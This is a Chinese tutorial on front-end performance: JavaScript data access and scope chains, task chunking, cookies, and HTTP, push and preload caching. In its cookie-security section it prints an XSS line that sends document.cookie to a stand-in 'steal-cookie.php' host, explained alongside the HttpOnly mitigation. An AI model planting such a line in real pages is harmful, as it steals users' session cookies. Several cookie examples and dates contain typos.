前端性能优化之数据存取,存储以及缓存技术

无论是哪种计算机语言,说到底它们都是对数据的存取与处理。若能在处理数据前,更快地读取数据,那么必然会对程序执行性能产生积极的作用。

一般而言,js的数据存取有4种方式。

  • 直接字面量:字面量不存储在特定位置也不需要索引,仅仅代表自身。它们包括布尔值,数字,字符串,对象,数组,函数,null,undefined以及正则表达式。
  • 变量:通过关键字const/let/var定义的数据存储单元。
  • 数组元素:存储在数组对象内部,通过数组下标数字进行索引。
  • 对象属性:存储在对象内部,通过对象的字符串名称进行索引。

其中数组元素和对象属性不仅可以是直接字面量的形式,还可以是由其他数组对象或对象属性组成的更为复杂的数据结构。从读取速度来看,直接字面量与变量是非常快的,相比之下数组元素和对象属性由于需要索引,其读取速度也会因组成结构的复杂度越高而变得越慢。

如今浏览器对内部js引擎不断迭代优化,在一般的数据规模下,其快慢的差别已经微乎其微。

作用域和作用域链

在es6之前,js没有明确的块级作用域的概念。它只有全局作用域和每个函数内的局部作用域。全局作用域就是无论此时执行的上下文是在函数内部还是在函数外部的,都能够访问到存在于全局作用域中的变量或对象;而定义存储在函数的局部作用域中的对象,只有在该函数内部执行上下文时才能够访问,而对函数外是不可见的。

对于能够访问到的数据,其在不同作用域中的查询也有先后顺序。这就涉及作用域链的概念。js引擎会在页面加载后创建一个全局的作用域,然后每碰到一个要执行的函数时,又会为其创建对应的作用域,最终不同的块级作用域和嵌套在内部的函数作用域,会形成一个作用域堆栈。

当前生效的作用域在堆栈的最顶端,由上往下就是当前执行上下文所能访问的作用域链。它对执行性能来说,十分重要的作用域就是解析标识符。

js 复制代码
function plus(num){
    return num+1
}
const ret=plus(6)

当这段代码刚开始执行时,函数plus的作用域链中仅拥有一个指向全局对象的作用域,其中包括this,函数对象plus以及常量ret,而在执行到plus时,js引擎会创建一个新的执行上下文和包含一些局部变量的活动对象。执行过程会先对num标识符进行解析,即从作用域链的最顶层依次向下查找,直到找到num标识符。

由于最顶层的作用域往往都是当前函数执行的局部作用域,所以直接便可以找到num,就不用往下去全局作用域查找了。

理解作用域链对标识符的解析过程对编写高效的js非常有用,因为查找变量的个数会直接影响解析过程的长短。

实战经验

  1. 对局部变量的使用
    如果一个非局部变量在函数中的使用次数不止一次,那么最好使用局部变量进行存储。
js 复制代码
function process(){
   const target=document.getElementById('target')
   // 优化
   const doc=document
   
}

document属于全局作用域中的对象,位于作用域链的最深处,在标识符解析过程中会被最后解析,因此可以考虑将其声明为一个局部变量,以提升其在作用域链中的查找顺序。

  1. 作用域链的增长
    使用with语句,它能将函数外层的变量,提升到比当前函数局部变量还要高的作用域链访问级别上。如下代码虽然能够直接访问param中的属性值,但是却降低了show函数原本局部变量的访问速度。
js 复制代码
const param={
   name:'name'
}
function show(){
   const cnt=2
   with(param){
    console.log(name)
   }
}
  1. 警惕闭包的使用
    闭包的特性使函数能够访问局部变量之外的数据。一般的函数执行完成后,其中局部变量所占用的空间会被释放,但闭包的这种特性会延长父函数中局部变量的生命周期,存在内存泄露的问题。
js 复制代码
function mkFunc(){
   const name='test'
   return function showName(){
      console.log(name)
   }
}
const myFunc=mkFunc()
myFunc()

快速响应

js代码的执行通常会阻塞页面的渲染,考虑到用户的体验,这就会限制我们在编写代码时需要注意减少或避免一些执行时间过长的逻辑运算。

浏览器限制

由于js是单线程的,这就意味着浏览器的每个窗口或页签在同一时间内,要么执行js脚本,要么响应用户操作刷新页面。例如JS代码正在执行时,用户页面会处于锁定状态无法进行输入,如果js代码执行时间过长,显然会给用户带来糟糕的体验。因此,我们可能就需要对长时间运行的脚本进行重构,尽量保证一段脚本的执行不超过100ms,超过这个阈值,用户明显就会感觉网站卡顿。

引起js执行时间过长的原因常见的有三类:

  1. 对dom的频繁修改:相比起js运算,dom操作的开销极高,因此现代前端框架中普遍采取虚拟dom。所谓虚拟dom就是将真实dom抽象为js对象,用户交互和数据运算可能带来dom频繁修改,但这其中大部分的修改操作可能对最终呈现给用户的页面来说都是中间过程,所以就将这些大量的中间过程交给js处理,处理完成后统一再去修改真实dom。
  2. 不恰当的循环:循环次数过多,或每次循环执行过多的操作,若能将功能尽可能分解就会明显缓解这个问题。
  3. 存在过深的递归:浏览器对js调用栈存在限制,将递归改为迭代能有效地避免此类问题。

异步队列

js既要处理运算又要响应与用户的交互,它是如何完成的呢?异步队列。

当我们创建一个异步任务时,它其实并没有马上执行,而是被js引擎放置到一个队列中,当执行完成一个任务脚本后,js引擎便会挂起浏览器去做其他工作,比如更新页面,当页面更新完成后,js引擎便会查看此异步队列,并从中取出一个任务脚本去执行,只要该队列不为空,这个过程便会不断重复,当队列中的任务脚本执行完后,js引擎便会处于空闲状态,直到有新的任务脚本进入该异步队列。

据此我们便有了对过长任务的一种优化策略,即将一个较长的任务拆分为多个异步任务,从而让浏览器给刷新页面留出时间,但过短的延迟时间也可能会让浏览器响应不及时,因为在几毫秒的时间里无法正确完成页面的更新与显示,通常可以使用定时器来控制一个100ms左右的延迟,同时定时器也是js中创建一个加入异步队列十分有效地方法:

js 复制代码
function chunk(array,process){
   setTimeout(()=>{
       const item=array.shift()
       process(item)
       if(array.length>0){
       //依次延迟处理接下来的数据
       setTimeout(arguments.callee,100)
       }
   })
}

避免多重求值

多重求值是脚本语言中普遍存在的一种语法特性,即动态执行包含可执行代码的字符串,虽然当前的主流前端项目很少会有类似的用法,但如果面临优化历史代码的场景,就需要多加留意。能够运行代码字符串的方法通常有以下4种:setTimeout,setInterval,eval,Function构造函数。因此,开发时应当避免使用Function函数和eval函数,同时切忌在使用setTimeout和setInterval函数时,第一个参数不要使用字符串。

数据存储

数据存储分类如下表所示。其中的持久化是指数据留存的实效性,可分为会话级,设备级和全局级,会话级的持久化指仅在当前浏览器标签出于活动状态时,网页中所保存的数据有效,当关闭浏览器页签后随之消失,设备级的持久化允许夸浏览器标签页进行数据存取,大部分存储方式都属于设备级。全局级持久化要求能够跨设备和跨会话存储数据,即能够将数据存储在云端。

Cookie 是服务器创建后发送到用户浏览器并保存在本地的一小块数据,在该浏览器下次向同一服务器发起请求时,它将被携带并发送到服务器上。它的作用通常是告诉服务器,先后两次请求来白同一浏览器,这样便可用来保存用户的登录状态,使基于无状态的 HTTP 协议能够记录状态信息。

在Web 应用刚兴起的时代,由于当时并没有其他合适的客户端存储方式,Cookie曾一度被当作唯一的客户端存储方式使用。随着 web 技术的发展,现代浏览器已经开始支持各种各样的存储方式,同时由于服务器指定了 Cookie 后,浏览器每次的请求都会携带 Cookie 数据,这样势必会带来额外的带宽开销,所以 Cookie 正逐渐被一些新的浏览器存储方式淘汰。

  1. 响应与请求

    服务器通过响应头的 Set-Cookie 字段向浏览器发送 Cookie 信息,示例如下:

    js 复制代码
       Set-Cookie: imooc_uuid= £bb93D62-a706-401e-627a-9£6619a83274

    浏览器接收到请求后再次向服务器发送请求时会在 Cookie 字段中携带 Cookie信息。

    js 复制代码
    Cookie: imooc_uuid=9355a-a706-401e-627a-96619d83274;loginstate=1

    每条Cookie信息以"cookie名-cookie值"的形式定义,多个cookie信息之间以分号间隔。

  2. 持久性

    Cookie支特会话级的Cookie, 即浏览器关闭后会被自动删除,其仅在页面会话期内有效。除此之外,还有一种持久化的 Cookie,通过指定一个过期时间或有效期变更默认 Cookie 的持久性,示例如下:

    js 复制代码
    Set-Cookie: imooc_uuid=9355a-a706-401e-627a-96619d83274; loginstate=1;Expires=Wed,13 Fed 2019 14:38:00 GMT;
  3. 安全性

    由于通常会用 Cookie 来标识用户和授权会话,所以一旦Cookie 被窃取,则可能导致授权用户的会话遭受攻击。一种常见的窃取方法便是应用程序漏洞进行跨站脚本攻击(XSS),例子如下:

    js 复制代码
    (new Image ()).src=
    "http://www.example.com/ steal-cookie. php?cookie="+document.cookie

    JavaScript 代码 document.cookie 属性值可 以拿到存储在浏览器中的 Cookie 信息,然后通过为新建图片的src 属性赋值目标 URL 来发起请求,这便是 xSS 攻击,对此可以通过给 Cookie 中设置 HttpOnly字段组织 js对其的访问性来缓解此类攻击。

    除此之外,跨站请求伪造(CSRF)也会利用Cookie 的漏洞来进行攻击,假设论坛中的一张图片上实际挂载着一个请求:登录微博添加特定用户为好友或进行点赞操作。当打开含有该图片的 HTML 页面时,如果之前已经登录了微博账号并且 Cookie信息仍然有效,那么上述请求就可能完成。

    为阻止此类事情发生可注意以下几点:敏感操作都需要确认:敏感信息的 Cookie只能拥有较短的生命周期等。

缓存技术

在任何一个前端项目中,访问服务器获取数据都是很常见的事情,但是如果相同的数据被重复请求了不止一次,那么多余的请求次数必然会浪费网络带宽,以及延迟浏览器渲染所要处理的内容,从而影响用户的使用体验。如果用户使用的是按量计费的方式访问网络,那么多余的请求还会隐性地增加用户地网络流量费用。因此考虑使用缓存技术对已获取地资源进行重用,是一种提升网站性能与用户体验地有效策略。
缓存的原理是在首次请求后保存一份请求资源的响应副本,当用户再次发起相同请求后,如果判断缓存命中则拦截请求,将之前存储的响应副本返回给用户,从而避免重新向服务器发起资源请求。

缓存的技术种类有很多,大致可以分为两类:共享缓存和私有缓存。共享缓存指的是缓存内容可被多个用户使用,如公司内部架设的web代理;私有缓存指的是只能单独被用户使用的缓存,如浏览器缓存。

下面介绍下浏览器缓存的三个方面:http缓存、service worker缓存和push缓存,以及cdn缓存的一些基本机制。

HTTP缓存

强制缓存

对于强制缓存,如果浏览器判断所请求的目标资源有效命中,则可直接从强制缓存中返回请求响应,无须与服务器进行任何通信。

在介绍强制缓存命中判断之前,首先来看下一段响应头的部分信息:

javascript 复制代码
access-control-allow-origin:*
age:734978
cache-control:max-age=31536000
content-length:40830
content-type:image/jpeg
date:Web, 14 Feb 2022xxxx
expires: Web.xxxx

其中与强制缓存相关的两个字段是expires和cache-control,expires是在http1.0协议中声明的用来控制缓存失效日期时间戳的字段,它由服务端指定后通过响应头告知浏览器,浏览器在接收到带有该字段的响应体后进行缓存。

若之后浏览器再次发起相同的资源请求,便会对比expires与本地当前的时间戳,如果当前请求的本地时间戳小于expires的值,则说明浏览器缓存的响应还未过期,可以直接使用而无须向服务器端再次发起请求。只有当本地时间戳大于expires值发生缓存过期时,才允许重新向服务器发起请求。

由于expires过分依赖本地时间戳,从http1.1开始新增了cache-control字段来对expires的功能进行扩展和完善。从上述代码中可见cache-control设置了max-age=31536000的属性值来控制响应资源的有效期,它是一个以秒为单位的时间长度,表示该资源在被请求到后的31536000秒内有效,如此便可避免服务器端和客户端时间戳不一致。除此之外,cache-control还可配置一些其他属性值来更准确地控制缓存。

  1. no-cache和no-store
    no-cache表示为强制进行协商缓存,即对于每次发起地请求都不会再去判断强制缓存是否过期,而是直接与服务器协商来验证缓存地有效性,若缓存不过期,则会使用本地缓存。设置no-store则表示禁止使用任何缓存策略,客户端地每次请求都需要服务器端给予全新地响应。二者是互斥的,不可同时设置。
  2. private和public
    public表示响应资源既可以被浏览器缓存,又可以被代理服务器缓存。private限制了响应资源只能被浏览器缓存,若未显示指定则默认值为private。
  3. max-age和s-maxage
    max-age表示服务端告知客户端浏览器响应资源地过期时长。s-maxage表示缓存在代理服务器中地过期时长,且仅当设置了public属性值才有效。
协商缓存

协商缓存就是在使用本地缓存之前,需要向服务器端发起一次get请求,与之协商当前浏览器保存的本地缓存是否已经过期。

  • 基于last-modified
    (1)浏览器第一次请求一个资源,服务器在返回这个资源的同时,会加上Last-Modified字段。这个 response header,这个header表示这该资源在服务器上的最后修改时间:

(2)浏览器再次请求这个资源时,会加上If-Modified-Since这个 request header,这个header的值就是上一次返回的Last-Modified的值:

(3)服务器收到第二次请求时,会比对浏览器传过来的If-Modified-Since和资源在服务器上的最后修改时间Last-Modified,判断资源是否有变化。如果没有变化则返回304 Not Modified,但不返回资源内容(此时,服务器不会返回 Last-Modified 这个 response header),这和强制缓存有所不同,强制缓存若有效,则再次请求的响应状态码是200;如果有变化,就正常返回资源内容(继续重复整个流程)。

(4)浏览器如果收到304的响应,就会从本地缓存中加载资源。

通过last-modified所实现的协商缓存能够满足大部分的使用场景,但也存在两个比较明显的缺陷:

  1. 如果只是对资源进行了编辑,但内容没有发生任何变化,时间戳也会更新。
  2. 文件资源的修改时间是以秒为单位,如果文件修改的速度非常快,假设在几百毫秒内完成,那么上述通过时间戳的方式是无法标识出此次更新。
  • 基于ETag的协商缓存

(1)浏览器第一次请求一个资源,服务器在返回这个资源的同时,会加上ETag这个 response header,这个header是服务器根据当前请求的资源生成的唯一标识。这个唯一标识是一个字符串,只要资源有变化这个串就不同,跟最后修改时间无关,所以也就很好地补充了Last-Modified的不足。如下:

(2)浏览器再次请求这个资源时,会加上If-None-Match这个 request header,这个header的值就是上一次返回的ETag的值:

(3)服务器第二次请求时,会对比浏览器传过来的If-None-Match和服务器重新生成的一个新的ETag,判断资源是否有变化。如果没有变化则返回304 Not Modified,但不返回资源内容(此时,由于ETag重新生成过,response header 中还会把这个ETag返回,即使这个ETag并无变化)。如果有变化,就正常返回资源内容(继续重复整个流程)。这是服务器返回304时的 response header:

(4)浏览器如果收到304的响应,就会从缓存中加载资源。

不像强制缓存中cache-control可以完全替代expires的功能,在协商缓存中,etag是一种补充方案,可以和last-modified一起配合使用,etag需要付出额外的计算开销。

注意:缓存时根据请求资源的url进行的,不同的资源会有不同的url,所以尽量不要将相同的资源设置为不同的url。

缓存决策

Push缓存

http2新增了一个强大的功能:服务器端推送,它的出现打破了传统意义上的请求与响应一对一的模式,服务器可以对客户端浏览器的一个请求发送多个响应。

在传统的网络应用中,客户端若想将应用中所包含的多种资源渲染展示在浏览器中,就需要逐个资源进行请求,但其实一个html文件中包含的js、样式表以及图片等文件资源,是服务器可以在收到该html请求后预判出稍后会到来的请求,那么就可以利用服务器端推送节省这些多余的资源请求,来提升页面加载的速度。

浏览器缓存通常可以分为四个方面:内存中的缓存,service worker缓存,http缓存以及http2的push缓存。优先级依次从高到低。

内存中的缓存时浏览器中响应速度最快且命中优先级最高的一种缓存,但它的驻留周期非常短,通常依赖于渲染进程,一旦页面页签关闭进程结束,内存中的留存树就会被回收。

具体什么资源会放入内存中的缓存,其实具有一定的随机性,因为内存空间有限,首先需要考虑到当前的内存余量,然后再视具体的情况去分配内存和磁盘空间上的存储占比。通常体积不大的js文件和样式表文件有一定概率被纳入内存中进行缓存,而对于体积较大的文件或图片则较大概率会被直接放在磁盘上存储。

push缓存是依赖于http2连接的,如果连接断开,即便推送的资源具有较高的可缓存性,它们也会丢失,这就意味着需要建立新的连接并重新下载资源。考虑到网络可能存在不稳定性,建议不要长时间依赖push缓存中的资源内容,它更擅长的是资源推送到页面提取间隔时长较短的使用场景。

另外,每个http2连接都有自己独立的push缓存,对使用了同一个连接的多个页面来说,它们可以共享该push缓存。在将如json数据等内容与页面响应信息一同推送给客户端时,这些数据资源并非仅被同一页面提取,它们还可以被一个正在安装的service worker提取使用。

push缓存与预加载

二者的优化原理都是利用客户端的空闲带宽来进行资源文件获取的,这种方式能够很好地将资源的执行与获取进行分离,当浏览器实际需要某个资源文件时,该资源文件其实已经存在于缓存中了,这样便省去了发起请求后的等待时间。

  1. 不同之处

    push缓存和预加载还存在一些不同之处,其中主要的不同点是,push缓存是由服务器端决定何时向客户端预先推送资源的,而预加载则是当客户端浏览器收到html文件后,经过解析其中带有preload的标签,才会开启预加载的。其他一些不同之处还包括以下几个方面。

    • push缓存只能向同源或具有推送权的源进行资源的推送,而预加载则可以从任何源加载资源。
    • 预加载使用的是内存中的缓存,而推送使用的是push缓存。
    • 预加载的资源仅能被发起请求的页面使用,而服务端push缓存的资源却能在浏览器的不同标签页面中共用。
    • 预加载使用的link标签上可以设置onload和onerror进行相应事件的监听,而push缓存则在服务器端进行监听相对更加透明。
    • 预加载可以根据不同的头信息,使用内容协商来确定发送的资源是否正确,push缓存却不可以。
  2. 使用场景

    • 有效利用服务器的空闲时间进行资源的预先推送。
    • 推送html中的内联资源。

比较适合使用预加载的场景:css样式表文件中所引用的字体文件;外部css样式表文件中使用background-url属性加载的图片文件。

参考资料:https://www.jianshu.com/p/f4dbaaebe902

相关推荐
腾讯TNTWeb前端团队7 小时前
helux v5 发布了,像pinia一样优雅地管理你的react状态吧
前端·javascript·react.js
范文杰10 小时前
AI 时代如何更高效开发前端组件?21st.dev 给了一种答案
前端·ai编程
拉不动的猪10 小时前
刷刷题50(常见的js数据通信与渲染问题)
前端·javascript·面试
拉不动的猪10 小时前
JS多线程Webworks中的几种实战场景演示
前端·javascript·面试
FreeCultureBoy11 小时前
macOS 命令行 原生挂载 webdav 方法
前端
uhakadotcom12 小时前
Astro 框架:快速构建内容驱动型网站的利器
前端·javascript·面试
uhakadotcom12 小时前
了解Nest.js和Next.js:如何选择合适的框架
前端·javascript·面试
uhakadotcom12 小时前
React与Next.js:基础知识及应用场景
前端·面试·github
uhakadotcom12 小时前
Remix 框架:性能与易用性的完美结合
前端·javascript·面试
uhakadotcom12 小时前
Node.js 包管理器:npm vs pnpm
前端·javascript·面试